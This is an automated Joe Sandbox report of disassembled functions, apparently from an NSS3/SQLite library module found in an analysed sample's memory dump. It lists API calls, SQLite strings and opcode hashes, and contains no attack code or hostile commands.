Associated: 00000006.00000002.2617372826.000000006C785000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_6c5a0000_K7IHXYTNUQJPI2M9UU0ECLE1K.jbxd

Similarity

API ID: _byteswap_ulongsqlite3_log
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$database corruption
API String ID: 912837312-598938438
Opcode ID: 9180881b77ef915f134e71eaca12e8a99a06e9ba1d3a435f3277ff0d02554ca5
Instruction ID: 8530c91630e7d76ff3acd8edcfa655f1c44ccddb9b1cfe95b2c78f3b05561549
Opcode Fuzzy Hash: 9180881b77ef915f134e71eaca12e8a99a06e9ba1d3a435f3277ff0d02554ca5
Instruction Fuzzy Hash: AB81B431B012198FDB04CF6AC880ADEB3F7EF89308B158529D925AB751EB31ED46CB54

Function 6C600820 Relevance: 8.9, APIs: 1, Strings: 4, Instructions: 1448COMMON

Download Yara Rule

APIs

memset.VCRUNTIME140(00000000,00000001,00000001), ref: 6C6011D2

Strings

authorizer malfunction, xrefs: 6C601BD2
rows deleted, xrefs: 6C6017D2
@, xrefs: 6C600B17
not authorized, xrefs: 6C60175E, 6C601763

Memory Dump Source

Source File: 00000006.00000002.2616965445.000000006C5A1000.00000020.00000001.01000000.0000000E.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000006.00000002.2616923097.000000006C5A0000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617164735.000000006C73F000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617234490.000000006C77E000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617280440.000000006C77F000.00000008.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617326243.000000006C780000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617372826.000000006C785000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_6c5a0000_K7IHXYTNUQJPI2M9UU0ECLE1K.jbxd

Similarity

API ID: memset
String ID: @$authorizer malfunction$not authorized$rows deleted
API String ID: 2221118986-4041583037
Opcode ID: c93a92df8a53df0e25554da39a11ef8f255731094ecc68383e6a479dcc324480
Instruction ID: 239209f30131f768e59c02d13d303fc7b33f070800b64d5d4b3350ada3c5eb07
Opcode Fuzzy Hash: c93a92df8a53df0e25554da39a11ef8f255731094ecc68383e6a479dcc324480
Instruction Fuzzy Hash: 9AD28A70E04249CFDB18CFA9C980B9DBBF2BF49308F288169D415ABB51D771E956CB84

Function 6C707F20 Relevance: 7.7, APIs: 2, Strings: 2, Instructions: 713COMMON

Download Yara Rule

APIs

memset.VCRUNTIME140(00000000,00000000,?), ref: 6C7081BC

Strings

BINARY, xrefs: 6C708126
out of memory, xrefs: 6C70835B

Memory Dump Source

Source File: 00000006.00000002.2616965445.000000006C5A1000.00000020.00000001.01000000.0000000E.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000006.00000002.2616923097.000000006C5A0000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617164735.000000006C73F000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617234490.000000006C77E000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617280440.000000006C77F000.00000008.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617326243.000000006C780000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617372826.000000006C785000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_6c5a0000_K7IHXYTNUQJPI2M9UU0ECLE1K.jbxd

Similarity

API ID: memset
String ID: BINARY$out of memory
API String ID: 2221118986-3971123528
Opcode ID: 70f654f4727571b6d2eab23cbb0bb0751e7e456988d113aad358506c83084e7f
Instruction ID: 1ca1371240b46dd7063723108a5d30dd42553fedc183e9502b8d8c84c9870a59
Opcode Fuzzy Hash: 70f654f4727571b6d2eab23cbb0bb0751e7e456988d113aad358506c83084e7f
Instruction Fuzzy Hash: B1528BB1E05218DFDB14CF99C990BADBBF2BF49318F25816ED815AB751D730A846CB80

Function 6C689EC0 Relevance: 7.6, APIs: 5, Instructions: 69memoryCOMMON

Download Yara Rule

APIs

PORT_ArenaMark_Util.NSS3(?), ref: 6C689ED6

Part of subcall function 6C6814C0: TlsGetValue.KERNEL32 ref: 6C6814E0
Part of subcall function 6C6814C0: EnterCriticalSection.KERNEL32 ref: 6C6814F5
Part of subcall function 6C6814C0: PR_Unlock.NSS3 ref: 6C68150D

PORT_ArenaAlloc_Util.NSS3(?,00000024), ref: 6C689EE4

Part of subcall function 6C6810C0: TlsGetValue.KERNEL32(?,6C628802,00000000,00000008,?,6C61EF74,00000000), ref: 6C6810F3
Part of subcall function 6C6810C0: EnterCriticalSection.KERNEL32(?,?,6C628802,00000000,00000008,?,6C61EF74,00000000), ref: 6C68110C
Part of subcall function 6C6810C0: PL_ArenaAllocate.NSS3(?,?,?,6C628802,00000000,00000008,?,6C61EF74,00000000), ref: 6C681141
Part of subcall function 6C6810C0: PR_Unlock.NSS3(?,?,?,6C628802,00000000,00000008,?,6C61EF74,00000000), ref: 6C681182
Part of subcall function 6C6810C0: TlsGetValue.KERNEL32(?,6C628802,00000000,00000008,?,6C61EF74,00000000), ref: 6C68119C

PR_SetError.NSS3(FFFFE013,00000000), ref: 6C689F38

Part of subcall function 6C68D030: PORT_NewArena_Util.NSS3(00000400,00000000,?,00000000,?,6C689F0B), ref: 6C68D03B
Part of subcall function 6C68D030: PORT_ArenaAlloc_Util.NSS3(00000000,00000028), ref: 6C68D04E
Part of subcall function 6C68D030: SECOID_FindOIDByTag_Util.NSS3(00000019), ref: 6C68D07B
Part of subcall function 6C68D030: SECITEM_CopyItem_Util.NSS3(00000000,-00000018,00000000), ref: 6C68D08E
Part of subcall function 6C68D030: PORT_FreeArena_Util.NSS3(00000000,00000000), ref: 6C68D09D

PR_SetError.NSS3(FFFFE013,00000000), ref: 6C689F49
SEC_PKCS7DestroyContentInfo.NSS3(?), ref: 6C689F59

Part of subcall function 6C689D60: PORT_ArenaMark_Util.NSS3(?,00000000,?,?,00000000,?,6C689C5B), ref: 6C689D82
Part of subcall function 6C689D60: PORT_ArenaGrow_Util.NSS3(?,?,00000000,?,6C689C5B), ref: 6C689DA9
Part of subcall function 6C689D60: PORT_ArenaGrow_Util.NSS3(?,?,?,?,?,?,?,?,6C689C5B), ref: 6C689DCE
Part of subcall function 6C689D60: PORT_ArenaAlloc_Util.NSS3(?,0000000C,?,?,?,?,6C689C5B), ref: 6C689E43

Memory Dump Source

Source File: 00000006.00000002.2616965445.000000006C5A1000.00000020.00000001.01000000.0000000E.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000006.00000002.2616923097.000000006C5A0000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617164735.000000006C73F000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617234490.000000006C77E000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617280440.000000006C77F000.00000008.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617326243.000000006C780000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617372826.000000006C785000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_6c5a0000_K7IHXYTNUQJPI2M9UU0ECLE1K.jbxd

Similarity

API ID: Util$Arena$Alloc_Value$Arena_CriticalEnterErrorGrow_Mark_SectionUnlock$AllocateContentCopyDestroyFindFreeInfoItem_Tag_
String ID:
API String ID: 4287675220-0
Opcode ID: 132886c8e85c4853bc8e1c53b1aed6ae3bf3f6f8f3c0773f36a280f0f549c6b0
Instruction ID: 2c5f968bc78aab5bd485d1193cbede8e4b3107d9faa2b4f07a0f46de0ab34fd1
Opcode Fuzzy Hash: 132886c8e85c4853bc8e1c53b1aed6ae3bf3f6f8f3c0773f36a280f0f549c6b0
Instruction Fuzzy Hash: B5112EB5F062015BF7109A659C00B9B73A4AF9534CF240135E51A87740FB71E559C2BE

Function 6C73CDC0 Relevance: 7.4, APIs: 3, Strings: 1, Instructions: 423stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C73D086
PR_Malloc.NSS3(00000001), ref: 6C73D0B9
PR_Free.NSS3(?), ref: 6C73D138

Strings

>, xrefs: 6C73CF5B

Memory Dump Source

Source File: 00000006.00000002.2616965445.000000006C5A1000.00000020.00000001.01000000.0000000E.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000006.00000002.2616923097.000000006C5A0000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617164735.000000006C73F000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617234490.000000006C77E000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617280440.000000006C77F000.00000008.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617326243.000000006C780000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617372826.000000006C785000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_6c5a0000_K7IHXYTNUQJPI2M9UU0ECLE1K.jbxd

Similarity

API ID: FreeMallocstrlen
String ID: >
API String ID: 1782319670-325317158
Opcode ID: 33f3c904727b78e6a3ccadd60312c31edcb67202b830285271c06c35c0548f6e
Instruction ID: c2e86caf183a3e4378508cac5b8b714b8a7ad419d8b6be0c32cad6c131b3e09e
Opcode Fuzzy Hash: 33f3c904727b78e6a3ccadd60312c31edcb67202b830285271c06c35c0548f6e
Instruction Fuzzy Hash: E7D19D62B9157A0BFB14487C8E613EA77938762374F586335D1298BBE7E719C843C309

Function 6C5BAC60 Relevance: 6.4, Strings: 5, Instructions: 181COMMON

Download Yara Rule

Strings

winUnlock, xrefs: 6C5BAE18
psl, xrefs: 6C5BADA7
0sl, xrefs: 6C5BACC0, 6C5BAD22, 6C5BAD5E, 6C5BAE45
winUnlockReadLock, xrefs: 6C5BAE9F
Psl, xrefs: 6C5BADDB, 6C5BADF5, 6C5BAE6A

Memory Dump Source

Source File: 00000006.00000002.2616965445.000000006C5A1000.00000020.00000001.01000000.0000000E.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000006.00000002.2616923097.000000006C5A0000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617164735.000000006C73F000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617234490.000000006C77E000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617280440.000000006C77F000.00000008.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617326243.000000006C780000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617372826.000000006C785000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_6c5a0000_K7IHXYTNUQJPI2M9UU0ECLE1K.jbxd

Similarity

API ID:
String ID: 0sl$Psl$psl$winUnlock$winUnlockReadLock
API String ID: 0-2399121490
Opcode ID: f0e84e5eba1832cb0be205c514a31c1095910df39bce3dbe861c16a6ea9d5806
Instruction ID: 8fd2b052485038a835556eb50a6e98c367ded4305cf0590b331fd5a81b75dd8f
Opcode Fuzzy Hash: f0e84e5eba1832cb0be205c514a31c1095910df39bce3dbe861c16a6ea9d5806
Instruction Fuzzy Hash: A57181706083449FDB14CF28D894AABBBF5FF89314F24C629F95997211E730A985CBD1

Function 6C6DAD50 Relevance: 6.4, APIs: 4, Instructions: 389COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.2616965445.000000006C5A1000.00000020.00000001.01000000.0000000E.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000006.00000002.2616923097.000000006C5A0000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617164735.000000006C73F000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617234490.000000006C77E000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617280440.000000006C77F000.00000008.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617326243.000000006C780000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617372826.000000006C785000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_6c5a0000_K7IHXYTNUQJPI2M9UU0ECLE1K.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b68f7ffc87aae83390ead40eaa2f97f9e43afd123abbdf093e21d6e808dec51a
Instruction ID: 921d543df01ed27a5e43d52de779543fa744a7d5815976b177d22342a9d16ac6
Opcode Fuzzy Hash: b68f7ffc87aae83390ead40eaa2f97f9e43afd123abbdf093e21d6e808dec51a
Instruction Fuzzy Hash: C5F1C071F0522A8FDB05CF28C9447A977F0AB8B308F264239C915DB754E774A941CBE4

Function 6C6CDFC0 Relevance: 6.3, APIs: 3, Strings: 1, Instructions: 344stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0(?,00000003,?,6C5A5001,?,00000003,00000000), ref: 6C6CDFD7
memset.VCRUNTIME140(00000000,00000000,?,?,?,00000003,?,6C5A5001,?), ref: 6C6CE2B7
memcpy.VCRUNTIME140(00000028,00000003,?,?,?,?,?,?,00000003,?,6C5A5001,?), ref: 6C6CE2DA

Strings

W, xrefs: 6C6CE111

Memory Dump Source

Source File: 00000006.00000002.2616965445.000000006C5A1000.00000020.00000001.01000000.0000000E.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000006.00000002.2616923097.000000006C5A0000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617164735.000000006C73F000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617234490.000000006C77E000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617280440.000000006C77F000.00000008.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617326243.000000006C780000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617372826.000000006C785000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_6c5a0000_K7IHXYTNUQJPI2M9UU0ECLE1K.jbxd

Similarity

API ID: memcpymemsetstrlen
String ID: W
API String ID: 160209724-655174618
Opcode ID: e54de153d90432758fc72b34c3f6b4148bf6381fd9f0c098a7730dd28148195f
Instruction ID: 54e9c5361df7f957d0716a51ce7db330f1f5067db7cdd0a63ab84d98575255de
Opcode Fuzzy Hash: e54de153d90432758fc72b34c3f6b4148bf6381fd9f0c098a7730dd28148195f
Instruction Fuzzy Hash: 16C14931B092558BDB04CF25C4827EA77B2FF86308F284179DDA89BB41D731A811CBDA

Function 6C690E20 Relevance: 6.3, APIs: 2, Strings: 2, Instructions: 279COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(00000000,?,00000000,00000000,00000000), ref: 6C691052
memset.VCRUNTIME140(-0000001C,?,?,00000000), ref: 6C691086

Strings

h(il, xrefs: 6C690E55, 6C690EC4, 6C690F3A, 6C690FA7
h(il, xrefs: 6C691062, 6C69105D, 6C690F37, 6C691081, 6C691082

Memory Dump Source

Source File: 00000006.00000002.2616965445.000000006C5A1000.00000020.00000001.01000000.0000000E.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000006.00000002.2616923097.000000006C5A0000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617164735.000000006C73F000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617234490.000000006C77E000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617280440.000000006C77F000.00000008.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617326243.000000006C780000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617372826.000000006C785000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_6c5a0000_K7IHXYTNUQJPI2M9UU0ECLE1K.jbxd

Similarity

API ID: memcpymemset
String ID: h(il$h(il
API String ID: 1297977491-1183790091
Opcode ID: 47fb67eecf4f761a5f14aee5553248ba9480c3adfa8c7f73625f9869570e407f
Instruction ID: d87d084c00b0e0a4ea07630a7ac639ed43069fe47f030fda25ec9574dcc30541
Opcode Fuzzy Hash: 47fb67eecf4f761a5f14aee5553248ba9480c3adfa8c7f73625f9869570e407f
Instruction Fuzzy Hash: B0A15071B0125A9FCF08CF99C894AEEBBB6BF4D314B148129E905A7700D735ED41CBA4

Function 6C5B4DB0 Relevance: 5.3, Strings: 4, Instructions: 318COMMON

Download Yara Rule

Strings

psl, xrefs: 6C5B4E1C, 6C5B4E81, 6C5B4FDE, 6C5B5047, 6C5B50BB, 6C5B51A3, 6C5B526C
0sl, xrefs: 6C5B4EDE, 6C5B4F82
winUnlockReadLock, xrefs: 6C5B5125
Psl, xrefs: 6C5B5019, 6C5B50FA, 6C5B5157, 6C5B51DE, 6C5B51F2, 6C5B520D, 6C5B5220, 6C5B52A2, 6C5B52B5

Memory Dump Source

Source File: 00000006.00000002.2616965445.000000006C5A1000.00000020.00000001.01000000.0000000E.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000006.00000002.2616923097.000000006C5A0000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617164735.000000006C73F000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617234490.000000006C77E000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617280440.000000006C77F000.00000008.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617326243.000000006C780000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617372826.000000006C785000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_6c5a0000_K7IHXYTNUQJPI2M9UU0ECLE1K.jbxd

Similarity

API ID:
String ID: 0sl$Psl$psl$winUnlockReadLock
API String ID: 0-4239522636
Opcode ID: 9e4027a42c8b45556f7ed570f6ceff283c89e509106b88c4e1c6dbdd16f4629c
Instruction ID: a1ab417c0296d69fc3bee057fd04a608bed92f15d21ecede4bed3465f036fd18
Opcode Fuzzy Hash: 9e4027a42c8b45556f7ed570f6ceff283c89e509106b88c4e1c6dbdd16f4629c
Instruction Fuzzy Hash: 35E12F70A09344CFDB05DF28D89865ABBF0FF8A304F51866DF889A7351E7709985CB92

Function 6C5B6F10 Relevance: 5.2, Strings: 4, Instructions: 218COMMON

Download Yara Rule

Strings

*?[, xrefs: 6C5B7034, 6C5B7052, 6C5B7070
noskipscan*, xrefs: 6C5B7067
unordered*, xrefs: 6C5B702B
sz=[0-9]*, xrefs: 6C5B7049

Memory Dump Source

Source File: 00000006.00000002.2616965445.000000006C5A1000.00000020.00000001.01000000.0000000E.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000006.00000002.2616923097.000000006C5A0000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617164735.000000006C73F000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617234490.000000006C77E000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617280440.000000006C77F000.00000008.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617326243.000000006C780000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617372826.000000006C785000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_6c5a0000_K7IHXYTNUQJPI2M9UU0ECLE1K.jbxd

Similarity

API ID:
String ID: *?[$noskipscan*$sz=[0-9]*$unordered*
API String ID: 0-3485574213
Opcode ID: 963251e4c779d89738a2b43f2b9e4aadd569a143d5a8d94d21cc86867b752f7a
Instruction ID: 02e8d403aa829ccf4884791145c41d281f48177d20f85f5a05698aea0539649c
Opcode Fuzzy Hash: 963251e4c779d89738a2b43f2b9e4aadd569a143d5a8d94d21cc86867b752f7a
Instruction Fuzzy Hash: 93718C32F002154BEB14CA6DCCA079A7FA29F85354F250279CD59BBFC1EA719C468BE1

Function 6C5D3EC0 Relevance: 4.3, Strings: 3, Instructions: 583COMMON

Download Yara Rule

Strings

sqlite_temp_master, xrefs: 6C5D460F
sqlite_, xrefs: 6C5D3FAA, 6C5D4185
sqlite_master, xrefs: 6C5D463F

Memory Dump Source

Source File: 00000006.00000002.2616965445.000000006C5A1000.00000020.00000001.01000000.0000000E.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000006.00000002.2616923097.000000006C5A0000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617164735.000000006C73F000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617234490.000000006C77E000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617280440.000000006C77F000.00000008.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617326243.000000006C780000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617372826.000000006C785000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_6c5a0000_K7IHXYTNUQJPI2M9UU0ECLE1K.jbxd

Similarity

API ID:
String ID: sqlite_$sqlite_master$sqlite_temp_master
API String ID: 0-4221611869
Opcode ID: 6620bd566b9b0b1e037f7de23298a1552d89c05dc57fe7b0cd447b2291bafbda
Instruction ID: fd27522e72f24e8f048aea3baf865ecbdfda39fdc1c8f1f6eb4fcfdd295af39a
Opcode Fuzzy Hash: 6620bd566b9b0b1e037f7de23298a1552d89c05dc57fe7b0cd447b2291bafbda
Instruction Fuzzy Hash: C5224B316493964FD704CB6D8CA05BA7BF29F46318B6A49A8C9E55FE42C721FC81C788

Function 6C70BE70 Relevance: 4.0, APIs: 1, Strings: 1, Instructions: 1029COMMON

Download Yara Rule

Strings

`, xrefs: 6C70C0B6

Memory Dump Source

Source File: 00000006.00000002.2616965445.000000006C5A1000.00000020.00000001.01000000.0000000E.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000006.00000002.2616923097.000000006C5A0000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617164735.000000006C73F000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617234490.000000006C77E000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617280440.000000006C77F000.00000008.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617326243.000000006C780000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617372826.000000006C785000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_6c5a0000_K7IHXYTNUQJPI2M9UU0ECLE1K.jbxd

Similarity

API ID:
String ID: `
API String ID: 0-2679148245
Opcode ID: 88635269ff8acf40a1a7de1c399bd7eea10cd07edaebbb2094f018dd9c7bbe2f
Instruction ID: de1214600d7826d1c84d398d009a92c735f1286b0e18667d29d7f0a6086f52ad
Opcode Fuzzy Hash: 88635269ff8acf40a1a7de1c399bd7eea10cd07edaebbb2094f018dd9c7bbe2f
Instruction Fuzzy Hash: E1926CB4B0020A8FDB05DF98C980BAEB7F2BF89309F244168D515A7B91D735ED46CB61

Function 6C5A3D80 Relevance: 3.7, APIs: 1, Strings: 1, Instructions: 164COMMON

Download Yara Rule

APIs

htonl.WSOCK32(00000000), ref: 6C5A3EA9

Strings

0, xrefs: 6C5A3DAB

Memory Dump Source

Source File: 00000006.00000002.2616965445.000000006C5A1000.00000020.00000001.01000000.0000000E.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000006.00000002.2616923097.000000006C5A0000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617164735.000000006C73F000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617234490.000000006C77E000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617280440.000000006C77F000.00000008.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617326243.000000006C780000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617372826.000000006C785000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_6c5a0000_K7IHXYTNUQJPI2M9UU0ECLE1K.jbxd

Similarity

API ID: htonl
String ID: 0
API String ID: 2009864989-4108050209
Opcode ID: 20dcd03445e0b867c89d3f3ac644b239b39e9fa7c35ab78bb387289937fe00c2
Instruction ID: a58685f8e5428988f29ff34c2c48266977468c9e97b333454ef3290fc59c2d2d
Opcode Fuzzy Hash: 20dcd03445e0b867c89d3f3ac644b239b39e9fa7c35ab78bb387289937fe00c2
Instruction Fuzzy Hash: 14512931E491B98ADB1586FE8C603FFBBB19B8631CF194329C5A567AC1D234854B87A0

Function 6C64EE70 Relevance: 3.2, APIs: 2, Instructions: 223COMMON

Download Yara Rule

APIs

PR_SetError.NSS3(FFFFE005,00000000), ref: 6C64F019
PK11_GenerateRandom.NSS3(?,00000000), ref: 6C64F0F9

Memory Dump Source

Source File: 00000006.00000002.2616965445.000000006C5A1000.00000020.00000001.01000000.0000000E.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000006.00000002.2616923097.000000006C5A0000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617164735.000000006C73F000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617234490.000000006C77E000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617280440.000000006C77F000.00000008.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617326243.000000006C780000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617372826.000000006C785000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_6c5a0000_K7IHXYTNUQJPI2M9UU0ECLE1K.jbxd

Similarity

API ID: ErrorGenerateK11_Random
String ID:
API String ID: 3009229198-0
Opcode ID: f28674b34aa5c963032b75bc96fe7a21ab5569db4e47a29f8ddf8cc7e5d013c4
Instruction ID: 55df6bf4cec9d51c39c1d56be3e76a07cca87d5d70adfdce66244fdf42d3c552
Opcode Fuzzy Hash: f28674b34aa5c963032b75bc96fe7a21ab5569db4e47a29f8ddf8cc7e5d013c4
Instruction Fuzzy Hash: 0391AF75E0061A8BCB14CF68C8916AEB7F1FF85324F24872DD962A7BC0D730A905CB56

Function 6C672F70 Relevance: 3.1, APIs: 2, Instructions: 149COMMON

Download Yara Rule

APIs

PR_SetError.NSS3(FFFFE09A,00000000,00000000,?,6C697929), ref: 6C672FAC
PR_SetError.NSS3(FFFFE040,00000000,00000000,?,6C697929), ref: 6C672FE0

Memory Dump Source

Source File: 00000006.00000002.2616965445.000000006C5A1000.00000020.00000001.01000000.0000000E.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000006.00000002.2616923097.000000006C5A0000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617164735.000000006C73F000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617234490.000000006C77E000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617280440.000000006C77F000.00000008.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617326243.000000006C780000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617372826.000000006C785000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_6c5a0000_K7IHXYTNUQJPI2M9UU0ECLE1K.jbxd

Similarity

API ID: Error
String ID:
API String ID: 2619118453-0
Opcode ID: fb17665cf0f442b4f90738db0e30dd32d45926defd01708573bf80a169364f82
Instruction ID: a47ff585565267fd682d4dd60f533aec5e021299a2d683d516cb212faad37d65
Opcode Fuzzy Hash: fb17665cf0f442b4f90738db0e30dd32d45926defd01708573bf80a169364f82
Instruction Fuzzy Hash: FA513471A059118FC730CE69C888BAA73B1FF46318F250A39D9099BB01C735EC42CBB9

Function 6C67ED70 Relevance: 1.7, APIs: 1, Instructions: 217memoryCOMMON

Download Yara Rule

APIs

PORT_ArenaAlloc_Util.NSS3(00000000,0000003C), ref: 6C67EE3D

Memory Dump Source

Source File: 00000006.00000002.2616965445.000000006C5A1000.00000020.00000001.01000000.0000000E.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000006.00000002.2616923097.000000006C5A0000.00000002.00000001.01000000.0000000E.sdmpDownload File
